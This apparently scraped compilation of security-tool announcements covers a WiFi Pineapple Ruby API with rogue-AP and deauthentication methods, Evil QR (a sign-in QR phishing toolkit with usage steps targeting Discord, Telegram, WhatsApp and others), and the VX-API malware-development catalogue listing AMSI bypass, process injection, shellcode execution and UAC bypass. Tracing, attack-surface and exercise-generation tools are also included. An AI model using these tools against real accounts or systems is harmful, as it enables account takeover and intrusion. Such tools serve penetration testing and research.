MAC Addresses of Access Points TW-D (edit) ruby ./access-points_mac-addresses.rb
Tagged Parameters of Access Points TW-D (edit) ruby ./access-points_tagged-parameters.rb
Access Points and Wireless Network Mapping with WiGLE TW-D (edit) ruby ./access-points_wigle.rb
MAC Addresses of Clients TW-D (edit) ruby ./clients_mac-addresses.rb
OPEN Access Points TW-D (edit) ruby ./open_access-points.rb
WEP Access Points TW-D (edit) ruby ./wep_access-points.rb
WPA Access Points TW-D (edit) ruby ./wpa_access-points.rb
WPA2 Access Points TW-D (edit) ruby ./wpa2_access-points.rb
WPA3 Access Points TW-D (edit) ruby ./wpa3_access-points.rb
WARDRIVING Author Usage
Continuous Recon on 2.4GHz and 5GHz (with a supported adapter) TW-D (edit) ruby ./continuous-recon_5ghz.rb [CTRL+c]
Continuous Recon for Handshakes Capture TW-D (edit) ruby ./continuous-recon_handshakes.rb [CTRL+c]
Continuous Recon TW-D (edit) ruby ./continuous-recon.rb [CTRL+c]

Payload skeleton for development

#
# Title: <TITLE>
#
# Description: <DESCRIPTION>
#
#
# Author: <AUTHOR>
# Version: <VERSION>
# Category: <CATEGORY>
#
# STATUS
# ======================
# <SHORT-DESCRIPTION> ... SETUP
# <SHORT-DESCRIPTION> ... ATTACK
# <SHORT-DESCRIPTION> ... SPECIAL
# <SHORT-DESCRIPTION> ... FINISH
# <SHORT-DESCRIPTION> ... CLEANUP
# <SHORT-DESCRIPTION> ... OFF
#

require_relative('<PATH-TO>/classes/PineappleMK7.rb')

system_authentication = PineappleMK7::System::Authentication.new
system_authentication.host = "<PINEAPPLE-IP-ADDRESS>"
system_authentication.port = 1471
system_authentication.mac = "<PINEAPPLE-MAC-ADDRESS>"
system_authentication.password = "<ROOT-ACCOUNT-PASSWORD>"

if (system_authentication.login)

led = PineappleMK7::System::LED.new

# SETUP
#
led.setup

#
# [...]
#

# ATTACK
#
led.attack

#
# [...]
#

# SPECIAL
#
led.special

#
# [...]
#

# FINISH
#
led.finish

#
# [...]
#

# CLEANUP
#
led.cleanup

#
# [...]
#

# OFF
#
led.off

end

Note : Don't hesitate to take inspiration from the payloads directory.

System modules

Authentication accessors/method

system_authentication = PineappleMK7::System::Authentication.new

system_authentication.host = (string) "<PINEAPPLE-IP-ADDRESS>"
system_authentication.port = (integer) 1471
system_authentication.mac = (string) "<PINEAPPLE-MAC-ADDRESS>"
system_authentication.password = (string) "<ROOT-ACCOUNT-PASSWORD>"

system_authentication.login()

LED methods

led = PineappleMK7::System::LED.new

led.setup()
led.failed()
led.attack()
led.special()
led.cleanup()
led.finish()
led.off()

Pineapple Modules

Dashboard

Notifications method

dashboard_notifications = PineappleMK7::Modules::Dashboard::Notifications.new

dashboard_notifications.clear()

Stats method

dashboard_stats = PineappleMK7::Modules::Dashboard::Stats.new

dashboard_stats.output()

Logging

System method

logging_system = PineappleMK7::Modules::Logging::System.new

logging_system.output()

PineAP

Clients methods

pineap_clients = PineappleMK7::Modules::PineAP::Clients.new

pineap_clients.connected_clients()
pineap_clients.previous_clients()
pineap_clients.kick( (string) mac )
pineap_clients.clear_previous()

EvilWPA accessors/method

evil_wpa = PineappleMK7::Modules::PineAP::EvilWPA.new

evil_wpa.ssid = (string default:'PineAP_WPA')
evil_wpa.bssid = (string default:'00:13:37:BE:EF:00')
evil_wpa.auth = (string default:'psk2+ccmp')
evil_wpa.password = (string default:'pineapplesareyummy')
evil_wpa.hidden = (boolean default:false)
evil_wpa.enabled = (boolean default:false)
evil_wpa.capture_handshakes = (boolean default:false)

evil_wpa.save()

Filtering methods

pineap_filtering = PineappleMK7::Modules::PineAP::Filtering.new

pineap_filtering.client_filter( (string) 'allow' | 'deny' )
pineap_filtering.add_client( (string) mac )
pineap_filtering.clear_clients()
pineap_filtering.ssid_filter( (string) 'allow' | 'deny' )

Impersonation methods

pineap_impersonation = PineappleMK7::Modules::PineAP::Impersonation.new

pineap_impersonation.output()
pineap_impersonation.add_ssid( (string) ssid )
pineap_impersonation.clear_pool()

OpenAP method

open_ap = PineappleMK7::Modules::PineAP::OpenAP.new

open_ap.output()

Settings accessors/method

pineap_settings = PineappleMK7::Modules::PineAP::Settings.new

pineap_settings.enablePineAP = (boolean default:true)
pineap_settings.autostartPineAP = (boolean default:true)
pineap_settings.armedPineAP = (boolean default:false)
pineap_settings.ap_channel = (string default:'11')
pineap_settings.karma = (boolean default:false)
pineap_settings.logging = (boolean default:false)
pineap_settings.connect_notifications = (boolean default:false)
pineap_settings.disconnect_notifications = (boolean default:false)
pineap_settings.capture_ssids = (boolean default:false)
pineap_settings.beacon_responses = (boolean default:false)
pineap_settings.broadcast_ssid_pool = (boolean default:false)
pineap_settings.broadcast_ssid_pool_random = (boolean default:false)
pineap_settings.pineap_mac = (string default:system_authentication.mac)
pineap_settings.target_mac = (string default:'FF:FF:FF:FF:FF:FF')< br/>pineap_settings.beacon_response_interval = (string default:'NORMAL')
pineap_settings.beacon_interval = (string default:'NORMAL')

pineap_settings.save()

Recon

Handshakes methods

recon_handshakes = PineappleMK7::Modules::Recon::Handshakes.new

recon_handshakes.start( (object) ap )
recon_handshakes.stop()
recon_handshakes.output()
recon_handshakes.download( (object) handshake, (string) destination )
recon_handshakes.clear()

Scanning methods

recon_scanning = PineappleMK7::Modules::Recon::Scanning.new

recon_scanning.start( (integer) scan_time )
recon_scanning.start_continuous( (boolean) autoHandshake )
recon_scanning.stop_continuous()
recon_scanning.output( (integer) scanID )
recon_scanning.tags( (object) ap )
recon_scanning.deauth_ap( (object) ap )
recon_scanning.delete( (integer) scanID )

Settings

Networking methods

settings_networking = PineappleMK7::Modules::Settings::Networking.new

settings_networking.interfaces()
settings_networking.client_scan( (string) interface )
settings_networking.client_connect( (object) network, (string) interface )
settings_networking.client_disconnect( (string) interface )
settings_networking.recon_interface( (string) interface )


Tiny_Tracer - A Pin Tool For Tracing API Calls Etc

By: Zion3R


A Pin Tool for tracing:


Bypasses the anti-tracing check based on RDTSC.

Generates a report in a .tag format (which can be loaded into other analysis tools):

RVA;traced event

i.e.

345c2;section: .text
58069;called: C:\Windows\SysWOW64\kernel32.dll.IsProcessorFeaturePresent
3976d;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW
3983c;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress
3999d;called: C:\Windows\SysWOW64\KernelBase.dll.InitializeCriticalSectionEx
398ac;called: C:\Windows\SysWOW64\KernelBase.dll.FlsAlloc
3995d;called: C:\Windows\SysWOW64\KernelBase.dll.FlsSetValue
49275;called: C:\Windows\SysWOW64\kernel32.dll.LoadLibraryExW
4934b;called: C:\Windows\SysWOW64\kernel32.dll.GetProcAddress
...

How to build

On Windows

To compile the prepared project you need to use Visual Studio >= 2012. It was tested with Intel Pin 3.28.
Clone this repo into \source\tools that is inside your Pin root directory. Open the project in Visual Studio and build. Detailed description available here.
To build with Intel Pin < 3.26 on Windows, use the appropriate legacy Visual Studio project.

On Linux

For now the support for Linux is experimental. Yet it is possible to build and use Tiny Tracer on Linux as well. Please refer tiny_runner.sh for more information. Detailed description available here.

Usage

 Details about the usage you will find on the project's Wiki.

WARNINGS

  • In order for Pin to work correctly, Kernel Debugging must be DISABLED.
  • In install32_64 you can find a utility that checks if Kernel Debugger is disabled (kdb_check.exe, source), and it is used by the Tiny Tracer's .bat scripts. This utilty sometimes gets flagged as a malware by Windows Defender (it is a known false positive). If you encounter this issue, you may need to exclude the installation directory from Windows Defender scans.
  • Since the version 3.20 Pin has dropped a support for old versions of Windows. If you need to use the tool on Windows < 8, try to compile it with Pin 3.19.


Questions? Ideas? Join Discussions!



Noir - An Attack Surface Detector Form Source Code

By: Zion3R


Noir is an attack surface detector form source code.

Key Features

  • Automatically identify language and framework from source code.
  • Find API endpoints and web pages through code analysis.
  • Load results quickly through interactions with proxy tools such as ZAP, Burpsuite, Caido and More Proxy tools.
  • That provides structured data such as JSON and HAR for identified Attack Surfaces to enable seamless interaction with other tools. Also provides command line samples to easily integrate and collaborate with other tools, such as curls or httpie.

Available Support Scope

Endpoint's Entities

  • Path
  • Method
  • Param
  • Header
  • Protocol (e.g ws)

Languages and Frameworks

Language Framework URL Method Param Header WS
Go Echo
X X X
Python Django
X X X X
Python Flask X X X X
Ruby Rails
X X
Ruby Sinatra
X X
Php
X X
Java Spring
X X X
Java Jsp X X X X X
Crystal Kemal
X
JS Express
X X X
JS Next X X X X X

Specification

Specification Format URL Method Param Header WS
Swagger JSON
X X
Swagger YAML
X X

Installation

Homebrew (macOS)

brew tap hahwul/noir
brew install noir

From Sources

# Install Crystal-lang
# https://crystal-lang.org/install/

# Clone this repo
git clone https://github.com/hahwul/noir
cd noir

# Install Dependencies
shards install

# Build
shards build --release --no-debug

# Copy binary
cp ./bin/noir /usr/bin/

Docker (GHCR)

docker pull ghcr.io/hahwul/noir:main

Usage

Usage: noir <flags>
Basic:
-b PATH, --base-path ./app (Required) Set base path
-u URL, --url http://.. Set base url for endpoints
-s SCOPE, --scope url,param Set scope for detection

Output:
-f FORMAT, --format json Set output format [plain/json/markdown-table/curl/httpie]
-o PATH, --output out.txt Write result to file
--set-pvalue VALUE Specifies the value of the identified parameter
--no-color Disable color output
--no-log Displaying only the results

Deliver:
--send-req Send the results to the web request
--send-proxy http://proxy.. Send the results to the web request via http proxy

Technologies:
-t TECHS, --techs rails,php Set technologies to use
--exclude-techs rails,php Specify the technologies to be excluded
--list-techs Show all technologies

Others:
-d, --debug Show debug messages
-v, --version Show version
-h, --help Show help

Example

noir -b . -u https://testapp.internal.domains

JSON Result

noir -b . -u https://testapp.internal.domains -f json
[
...
{
"headers": [],
"method": "POST",
"params": [
{
"name": "article_slug",
"param_type": "json",
"value": ""
},
{
"name": "body",
"param_type": "json",
"value": ""
},
{
"name": "id",
"param_type": "json",
"value": ""
}
],
"protocol": "http",
"url": "https://testapp.internal.domains/comments"
}
]



Evil QR - Proof-of-concept To Demonstrate Dynamic QR Swap Phishing Attacks In Practice

By: Zion3R


Toolkit demonstrating another approach of a QRLJacking attack, allowing to perform remote account takeover, through sign-in QR code phishing.

It consists of a browser extension used by the attacker to extract the sign-in QR code and a server application, which retrieves the sign-in QR codes to display them on the hosted phishing pages.

Watch the demo video:

Read more about it on my blog: https://breakdev.org/evilqr-phishing


Configuration

The parameters used by Evil QR are hardcoded into extension and server source code, so it is important to change them to use custom values, before you build and deploy the toolkit.

parameter description default value
API_TOKEN API token used to authenticate with REST API endpoints hosted on the server 00000000-0000-0000-0000-000000000000
QRCODE_ID QR code ID used to bind the extracted QR code with the one displayed on the phishing page 11111111-1111-1111-1111-111111111111
BIND_ADDRESS IP address with port the HTTP server will be listening on 127.0.0.1:35000
API_URL External URL pointing to the server, where the phishing page will be hosted http://127.0.0.1:35000

Here are all the places in the source code, where the values should be modified:

server/core/config.go:

server/templates/index.html:
extension/background.js:
Installation

Extension

You can load the extension in Chrome, through Load unpacked feature: https://developer.chrome.com/docs/extensions/mv3/getstarted/development-basics/#load-unpacked

Once the extension is installed, make sure to pin its icon in Chrome's extension toolbar, so that the icon is always visible.

Server

Make sure you have Go installed version at least 1.20.

To build go to /server directory and run the command:

Windows:

build_run.bat

Linux:

chmod 700 build.sh
./build.sh

Built server binaries will be placed in the ./build/ directory.

Usage

  1. Run the server by running the built server binary: ./server/build/evilqr-server
  2. Open any of the supported websites in your Chrome browser, with installed Evil QR extension:
https://discord.com/login
https://web.telegram.org/k/
https://whatsapp.com
https://store.steampowered.com/login/
https://accounts.binance.com/en/login
https://www.tiktok.com/login
  1. Make sure the sign-in QR code is visible and click the Evil QR extension icon in the toolbar. If the QR code is recognized, the icon should light up with colors.
  2. Open the server's phishing page URL: http://127.0.0.1:35000 (default)

License

Evil QR is made by Kuba Gretzky (@mrgretzky) and it's released under MIT license.



AiCEF - An AI-assisted cyber exercise content generation framework using named entity recognition

By: Zion3R


AiCEF is a tool implementing the accompanying framework [1] in order to harness the intelligence that is available from online resources, as well as threat groups' activities, arsenal (eg. MITRE), to create relevant and timely cybersecurity exercise content. This way, we abstract the events from the reports in a machine-readable form. The produced graphs can be infused with additional intelligence, e.g. the threat actor profile from MITRE, also mapped in our ontology. While this may fill gaps that would be missing from a report, one can also manipulate the graph to create custom and unique models. Finally, we exploit transformer-based language models like GPT to convert the graph into text that can serve as the scenario of a cybersecurity exercise. We have tested and validated AiCEF with a group of experts in cybersecurity exercises, and the results clearly show that AiCEF significantly augments the capabilities in creating timely and relevant cybersecurity exercises in terms of both quality and time.

We used Python to create a machine-learning-powered Exercise Generation Framework and developed a set of tools to perform a set of individual tasks which would help an exercise planner (EP) to create a timely and targeted Cybersecurity Exercise Scenario, regardless of her experience.


Problems an Exercise Planner faces:

  • Constant table-top research to have fresh content
  • Realistic CSE scenario creation can be difficult and time-consuming
  • Meeting objectives but also keeping it appealing for the target audience
  • Is the relevance and timeliness aspects considered?
  • Can all the above be automated?

Our Main Objective: Build an AI powered tool that can generate relevant and up-to-date Cyber Exercise Content in a few steps with little technical expertise from the user.

Release Roadmap

The updated project, AiCEF v.2.0 is planned to be publicly released by the end of 2023, pending heavy code review and functionality updates. Submodules with reduced functinality will start being release by early June 2023. Thank you for your patience.

Installation

The most convenient way to install AiCEF is by using the docker-compose command. For production deployment, we advise you deploy MySQL manually in a dedicated environment and then to start the other components using Docker.

First, make sure you have docker-compose installed in your environment:

Linux:

$ sudo apt-get install docker-compose

Then, clone the repository:

$ git clone https://github.com/grazvan/AiCEF/docker.git /<choose-a-path>/AiCEF-docker
$ cd /<choose-a-path>/AiCEF-docker

Configure the environment settings

Import the MySQL file in your

$ mysql -u <your_username> –-password=<your_password> AiCEF_db < AiCEF_db.sql 

Before running the docker-compose command, settings must be configured. Copy the sample settings file and change it accordingly to your needs.

$ cp .env.sample .env

Run AiCEF

Note: Make sure you have an OpenAI API key available. Load the environment setttings (including your MySQL connection details):

set -a ; source .env

Finally, run docker-compose in detached (-d) mode:

$ sudo docker-compose up -d

Usage

A common usage flow consists of generating a Trend Report to analyze patterns over time, parsing relevant articles and converting them into Incident Breadcrumbs using MLTP module and storing them in a knowledge database called KDb. Incidents are then generated using IncGen component and can be enhanced using the Graph Enhancer module to simulate known APT activity. The incidents come with injects that can be edited on the fly. The CSE scenario is then created using CEGen, which defines various attributes like CSE name, number of Events, and Incidents. MLCESO is a crucial step in the methodology where dedicated ML models are trained to extract information from the collected articles with over 80% accuracy. The Incident Generation & Enhancer (IncGen) workflow can be automated, generating a variety of incidents based on filtering parameters and the existing database. The knowledge database (KDB) consists of almost 3000 articles classified into six categories that can be augmented using APT Enhancer by using the activity of known APT groups from MITRE or manually.

Find below some sample usage screenshots:

Features

  • An AI-powered Cyber Exercise Generation Framework
  • Developed in Python & EEL
  • Open source library Stixview
  • Stores data in MYSQL
  • API to Text Synthesis Models (ex. GPT-3.5)
  • Can create incidents based on TTPs of 125 known APT actors
  • Models Cyber Exercise Content in machine readable STIX2.1 [2] (.json) and human readable format (.pdf)

Authors

AiCEF is a product designed and developed by Alex Zacharis, Razvan Gavrila and Constantinos Patsakis.

References

[1] https://link.springer.com/article/10.1007/s10207-023-00693-z

[2] https://oasis-open.github.io/cti-documentation/stix/intro.html

Contributing

Contributions are welcome! If you'd like to contribute to AiCEF v2.0, please follow these steps:

  1. Fork this repository
  2. Create a new branch (git checkout -b feature/your-branch-name)
  3. Make your changes and commit them (git commit -m 'Add some feature')
  4. Push to the branch (git push origin feature/your-branch-name)
  5. Open a new pull request

License

AiCEF is licensed under Attribution-NonCommercial 4.0 International (CC BY-NC 4.0) license. See for more information.

Under the following terms:

Attribution — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use. NonCommercial — You may not use the material for commercial purposes. No additional restrictions — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.



VX-API - Collection Of Various Malicious Functionality To Aid In Malware Development

By: Zion3R

 


The VX-API is a collection of malicious functionality to aid in malware development. It is recommended you clone and/or download this entire repo then open the Visual Studio solution file to easily explore functionality and concepts.

Some functions may be dependent on other functions present within the solution file. Using the solution file provided here will make it easier to identify which other functionality and/or header data is required.

You're free to use this in any manner you please. You do not need to use this entire solution for your malware proof-of-concepts or Red Team engagements. Strip, copy, paste, delete, or edit this projects contents as much as you'd like.


List of features

Anti-debug

Function Name Original Author
AdfCloseHandleOnInvalidAddress Checkpoint Research
AdfIsCreateProcessDebugEventCodeSet Checkpoint Research
AdfOpenProcessOnCsrss Checkpoint Research
CheckRemoteDebuggerPresent2 ReactOS
IsDebuggerPresentEx smelly__vx
IsIntelHardwareBreakpointPresent Checkpoint Research

Cryptography Related

Function Name Original Author
HashStringDjb2 Dan Bernstein
HashStringFowlerNollVoVariant1a Glenn Fowler, Landon Curt Noll, and Kiem-Phong Vo
HashStringJenkinsOneAtATime32Bit Bob Jenkins
HashStringLoseLose Brian Kernighan and Dennis Ritchie
HashStringRotr32 T. Oshiba (1972)
HashStringSdbm Ozan Yigit
HashStringSuperFastHash Paul Hsieh
HashStringUnknownGenericHash1A Unknown
HashStringSipHash RistBS
HashStringMurmur RistBS
CreateMd5HashFromFilePath Microsoft
CreatePseudoRandomInteger Apple (c) 1999
CreatePseudoRandomString smelly__vx
HashFileByMsiFileHashTable smelly__vx
CreatePseudoRandomIntegerFromNtdll smelly__vx
LzMaximumCompressBuffer smelly__vx
LzMaximumDecompressBuffer smelly__vx
LzStandardCompressBuffer smelly__vx
LzStandardDecompressBuffer smelly__vx
XpressHuffMaximumCompressBuffer smelly__vx
XpressHuffMaximumDecompressBuffer smelly__vx
XpressHuffStandardCompressBuffer smelly__vx
XpressHuffStandardDecompressBuffer smelly__vx
XpressMaximumCompressBuffer smelly__vx
XpressMaximumDecompressBuffer smelly__vx
XpressStandardCompressBuffer smelly__vx
XpressStandardDecompressBuffer smelly__vx
ExtractFilesFromCabIntoTarget smelly__vx

Error Handling

Function Name Original Author
GetLastErrorFromTeb smelly__vx
GetLastNtStatusFromTeb smelly__vx
RtlNtStatusToDosErrorViaImport ReactOS
GetLastErrorFromTeb smelly__vx
SetLastErrorInTeb smelly__vx
SetLastNtStatusInTeb smelly__vx
Win32FromHResult Raymond Chen

Evasion

Function Name Original Author
AmsiBypassViaPatternScan ZeroMemoryEx
DelayedExecutionExecuteOnDisplayOff am0nsec and smelly__vx
HookEngineRestoreHeapFree rad9800
MasqueradePebAsExplorer smelly__vx
RemoveDllFromPeb rad9800
RemoveRegisterDllNotification Rad98, Peter Winter-Smith
SleepObfuscationViaVirtualProtect 5pider
RtlSetBaseUnicodeCommandLine TheWover

Fingerprinting

Function Name Original Author
GetCurrentLocaleFromTeb 3xp0rt
GetNumberOfLinkedDlls smelly__vx
GetOsBuildNumberFromPeb smelly__vx
GetOsMajorVersionFromPeb smelly__vx
GetOsMinorVersionFromPeb smelly__vx
GetOsPlatformIdFromPeb smelly__vx
IsNvidiaGraphicsCardPresent smelly__vx
IsProcessRunning smelly__vx
IsProcessRunningAsAdmin Vimal Shekar
GetPidFromNtQuerySystemInformation smelly__vx
GetPidFromWindowsTerminalService modexp
GetPidFromWmiComInterface aalimian and modexp
GetPidFromEnumProcesses smelly__vx
GetPidFromPidBruteForcing modexp
GetPidFromNtQueryFileInformation modexp, Lloyd Davies, Jonas Lyk
GetPidFromPidBruteForcingExW smelly__vx, LLoyd Davies, Jonas Lyk, modexp

Helper Functions

Function Name Original Author
CreateLocalAppDataObjectPath smelly__vx
CreateWindowsObjectPath smelly__vx
GetCurrentDirectoryFromUserProcessParameters smelly__vx
GetCurrentProcessIdFromTeb ReactOS
GetCurrentUserSid Giovanni Dicanio
GetCurrentWindowTextFromUserProcessParameter smelly__vx
GetFileSizeFromPath smelly__vx
GetProcessHeapFromTeb smelly__vx
GetProcessPathFromLoaderLoadModule smelly__vx
GetProcessPathFromUserProcessParameters smelly__vx
GetSystemWindowsDirectory Geoff Chappell
IsPathValid smelly__vx
RecursiveFindFile Luke
SetProcessPrivilegeToken Microsoft
IsDllLoaded smelly__vx
TryLoadDllMultiMethod smelly__vx
CreateThreadAndWaitForCompletion smelly__vx
GetProcessBinaryNameFromHwndW smelly__vx
GetByteArrayFromFile smelly__vx
Ex_GetHandleOnDeviceHttpCommunication x86matthew
IsRegistryKeyValid smelly__vx
FastcallExecuteBinaryShellExecuteEx smelly__vx
GetCurrentProcessIdFromOffset RistBS
GetPeBaseAddress smelly__vx
LdrLoadGetProcedureAddress c5pider
IsPeSection smelly__vx
AddSectionToPeFile smelly__vx
WriteDataToPeSection smelly__vx
GetPeSectionSizeInByte smelly__vx
ReadDataFromPeSection smelly__vx
GetCurrentProcessNoForward ReactOS
GetCurrentThreadNoForward ReactOS

Library Loading

Function Name Original Author
GetKUserSharedData Geoff Chappell
GetModuleHandleEx2 smelly__vx
GetPeb 29a
GetPebFromTeb ReactOS
GetProcAddress 29a Volume 2, c5pider
GetProcAddressDjb2 smelly__vx
GetProcAddressFowlerNollVoVariant1a smelly__vx
GetProcAddressJenkinsOneAtATime32Bit smelly__vx
GetProcAddressLoseLose smelly__vx
GetProcAddressRotr32 smelly__vx
GetProcAddressSdbm smelly__vx
GetProcAddressSuperFastHash smelly__vx
GetProcAddressUnknownGenericHash1 smelly__vx
GetProcAddressSipHash RistBS
GetProcAddressMurmur RistBS
GetRtlUserProcessParameters ReactOS
GetTeb ReactOS
RtlLoadPeHeaders smelly__vx
ProxyWorkItemLoadLibrary Rad98, Peter Winter-Smith
ProxyRegisterWaitLoadLibrary Rad98, Peter Winter-Smith

Lsass Dumping

Function Name Original Author
MpfGetLsaPidFromServiceManager modexp
MpfGetLsaPidFromRegistry modexp
MpfGetLsaPidFromNamedPipe modexp

Network Connectivity

Function Name Original Author
UrlDownloadToFileSynchronous Hans Passant
ConvertIPv4IpAddressStructureToString smelly__vx
ConvertIPv4StringToUnsignedLong smelly__vx
SendIcmpEchoMessageToIPv4Host smelly__vx
ConvertIPv4IpAddressUnsignedLongToString smelly__vx
DnsGetDomainNameIPv4AddressAsString smelly__vx
DnsGetDomainNameIPv4AddressUnsignedLong smelly__vx
GetDomainNameFromUnsignedLongIPV4Address smelly__vx
GetDomainNameFromIPV4AddressAsString smelly__vx

Other

Function Name Original Author
OleGetClipboardData Microsoft
MpfComVssDeleteShadowVolumeBackups am0nsec
MpfComModifyShortcutTarget Unknown
MpfComMonitorChromeSessionOnce smelly__vx
MpfExtractMaliciousPayloadFromZipFileNoPassword Codu

Process Creation

Function Name Original Author
CreateProcessFromIHxHelpPaneServer James Forshaw
CreateProcessFromIHxInteractiveUser James Forshaw
CreateProcessFromIShellDispatchInvoke Mohamed Fakroud
CreateProcessFromShellExecuteInExplorerProcess Microsoft
CreateProcessViaNtCreateUserProcess CaptMeelo
CreateProcessWithCfGuard smelly__vx and Adam Chester
CreateProcessByWindowsRHotKey smelly__vx
CreateProcessByWindowsRHotKeyEx smelly__vx
CreateProcessFromINFSectionInstallStringNoCab smelly__vx
CreateProcessFromINFSetupCommand smelly__vx
CreateProcessFromINFSectionInstallStringNoCab2 smelly__vx
CreateProcessFromIeFrameOpenUrl smelly__vx
CreateProcessFromPcwUtil smelly__vx
CreateProcessFromShdocVwOpenUrl smelly__vx
CreateProcessFromShell32ShellExecRun smelly__vx
MpfExecute64bitPeBinaryInMemoryFromByteArrayNoReloc aaaddress1
CreateProcessFromWmiWin32_ProcessW CIA
CreateProcessFromZipfldrRouteCall smelly__vx
CreateProcessFromUrlFileProtocolHandler smelly__vx
CreateProcessFromUrlOpenUrl smelly__vx
CreateProcessFromMsHTMLW smelly__vx

Process Injection

Function Name Original Author
MpfPiControlInjection SafeBreach Labs
MpfPiQueueUserAPCViaAtomBomb SafeBreach Labs
MpfPiWriteProcessMemoryCreateRemoteThread SafeBreach Labs
MpfProcessInjectionViaProcessReflection Deep Instinct

Proxied Functions

Function Name Original Author
IeCreateFile smelly__vx
CopyFileViaSetupCopyFile smelly__vx
CreateFileFromDsCopyFromSharedFile Jonas Lyk
DeleteDirectoryAndSubDataViaDelNode smelly__vx
DeleteFileWithCreateFileFlag smelly__vx
IsProcessRunningAsAdmin2 smelly__vx
IeCreateDirectory smelly__vx
IeDeleteFile smelly__vx
IeFindFirstFile smelly__vx
IEGetFileAttributesEx smelly__vx
IeMoveFileEx smelly__vx
IeRemoveDirectory smelly__vx

Shellcode Execution

Function Name Original Author
MpfSceViaImmEnumInputContext alfarom256, aahmad097
MpfSceViaCertFindChainInStore alfarom256, aahmad097
MpfSceViaEnumPropsExW alfarom256, aahmad097
MpfSceViaCreateThreadpoolWait alfarom256, aahmad097
MpfSceViaCryptEnumOIDInfo alfarom256, aahmad097
MpfSceViaDSA_EnumCallback alfarom256, aahmad097
MpfSceViaCreateTimerQueueTimer alfarom256, aahmad097
MpfSceViaEvtSubscribe alfarom256, aahmad097
MpfSceViaFlsAlloc alfarom256, aahmad097
MpfSceViaInitOnceExecuteOnce alfarom256, aahmad097
MpfSceViaEnumChildWindows alfarom256, aahmad097, wra7h
MpfSceViaCDefFolderMenu_Create2 alfarom256, aahmad097, wra7h
MpfSceViaCertEnumSystemStore alfarom256, aahmad097, wra7h
MpfSceViaCertEnumSystemStoreLocation alfarom256, aahmad097, wra7h
MpfSceViaEnumDateFormatsW alfarom256, aahmad097, wra7h
MpfSceViaEnumDesktopWindows alfarom256, aahmad097, wra7h
MpfSceViaEnumDesktopsW alfarom256, aahmad097, wra7h
MpfSceViaEnumDirTreeW alfarom256, aahmad097, wra7h
MpfSceViaEnumDisplayMonitors alfarom256, aahmad097, wra7h
MpfSceViaEnumFontFamiliesExW alfarom256, aahmad097, wra7h
MpfSceViaEnumFontsW alfarom256, aahmad097, wra7h
MpfSceViaEnumLanguageGroupLocalesW alfarom256, aahmad097, wra7h
MpfSceViaEnumObjects alfarom256, aahmad097, wra7h
MpfSceViaEnumResourceTypesExW alfarom256, aahmad097, wra7h
MpfSceViaEnumSystemCodePagesW alfarom256, aahmad097, wra7h
MpfSceViaEnumSystemGeoID alfarom256, aahmad097, wra7h
MpfSceViaEnumSystemLanguageGroupsW alfarom256, aahmad097, wra7h
MpfSceViaEnumSystemLocalesEx alfarom256, aahmad097, wra7h
MpfSceViaEnumThreadWindows alfarom256, aahmad097, wra7h
MpfSceViaEnumTimeFormatsEx alfarom256, aahmad097, wra7h
MpfSceViaEnumUILanguagesW alfarom256, aahmad097, wra7h
MpfSceViaEnumWindowStationsW alfarom256, aahmad097, wra7h
MpfSceViaEnumWindows alfarom256, aahmad097, wra7h
MpfSceViaEnumerateLoadedModules64 alfarom256, aahmad097, wra7h
MpfSceViaK32EnumPageFilesW alfarom256, aahmad097, wra7h
MpfSceViaEnumPwrSchemes alfarom256, aahmad097, wra7h
MpfSceViaMessageBoxIndirectW alfarom256, aahmad097, wra7h
MpfSceViaChooseColorW alfarom256, aahmad097, wra7h
MpfSceViaClusWorkerCreate alfarom256, aahmad097, wra7h
MpfSceViaSymEnumProcesses alfarom256, aahmad097, wra7h
MpfSceViaImageGetDigestStream alfarom256, aahmad097, wra7h
MpfSceViaVerifierEnumerateResource alfarom256, aahmad097, wra7h
MpfSceViaSymEnumSourceFiles alfarom256, aahmad097, wra7h

String Manipulation

Function Name Original Author
ByteArrayToCharArray smelly__vx
CharArrayToByteArray smelly__vx
ShlwapiCharStringToWCharString smelly__vx
ShlwapiWCharStringToCharString smelly__vx
CharStringToWCharString smelly__vx
WCharStringToCharString smelly__vx
RtlInitEmptyUnicodeString ReactOS
RtlInitUnicodeString ReactOS
CaplockString simonc
CopyMemoryEx ReactOS
SecureStringCopy Apple (c) 1999
StringCompare Apple (c) 1999
StringConcat Apple (c) 1999
StringCopy Apple (c) 1999
StringFindSubstring Apple (c) 1999
StringLength Apple (c) 1999
StringLocateChar Apple (c) 1999
StringRemoveSubstring smelly__vx
StringTerminateStringAtChar smelly__vx
StringToken Apple (c) 1999
ZeroMemoryEx ReactOS
ConvertCharacterStringToIntegerUsingNtdll smelly__vx
MemoryFindMemory KamilCuk

UAC Bypass

Function Name Original Author
UacBypassFodHelperMethod winscripting.blog

Rad98 Hooking Engine

Function Name Original Author
InitHardwareBreakpointEngine rad98
ShutdownHardwareBreakpointEngine rad98
ExceptionHandlerCallbackRoutine rad98
SetHardwareBreakpoint rad98
InsertDescriptorEntry rad98
RemoveDescriptorEntry rad98
SnapshotInsertHardwareBreakpointHookIntoTargetThread rad98

Generic Shellcode

Function Name Original Author
GenericShellcodeHelloWorldMessageBoxA SafeBreach Labs
GenericShellcodeHelloWorldMessageBoxAEbFbLoop SafeBreach Labs
GenericShellcodeOpenCalcExitThread MsfVenom


ReconAIzer - A Burp Suite Extension To Add OpenAI (GPT) On Burp And Help You With Your Bug Bounty Recon To Discover Endpoints, Params, URLs, Subdomains And More!

By: Zion3R


ReconAIzer is a powerful Jython extension for Burp Suite that leverages OpenAI to help bug bounty hunters optimize their recon process. This extension automates various tasks, making it easier and faster for security researchers to identify and exploit vulnerabilities.

Once installed, ReconAIzer add a contextual menu and a dedicated tab to see the results:


Prerequisites

  • Burp Suite
  • Jython Standalone Jar

Installation

Follow these steps to install the ReconAIzer extension on Burp Suite:

Step 1: Download Jython

  1. Download the latest Jython Standalone Jar from the official website: https://www.jython.org/download
  2. Save the Jython Standalone Jar file in a convenient location on your computer.

Step 2: Configure Jython in Burp Suite

  1. Open Burp Suite.
  2. Go to the "Extensions" tab.
  3. Click on the "Extensions settings" sub-tab.
  4. Under "Python Environment," click on the "Select file..." button next to "Location of the Jython standalone JAR file."
  5. Browse to the location where you saved the Jython Standalone Jar file in Step 1 and select it.
  6. Wait for the "Python Environment" status to change to "Jython (version x.x.x) successfully loaded," where x.x.x represents the Jython version.

Step 3: Download and Install ReconAIzer

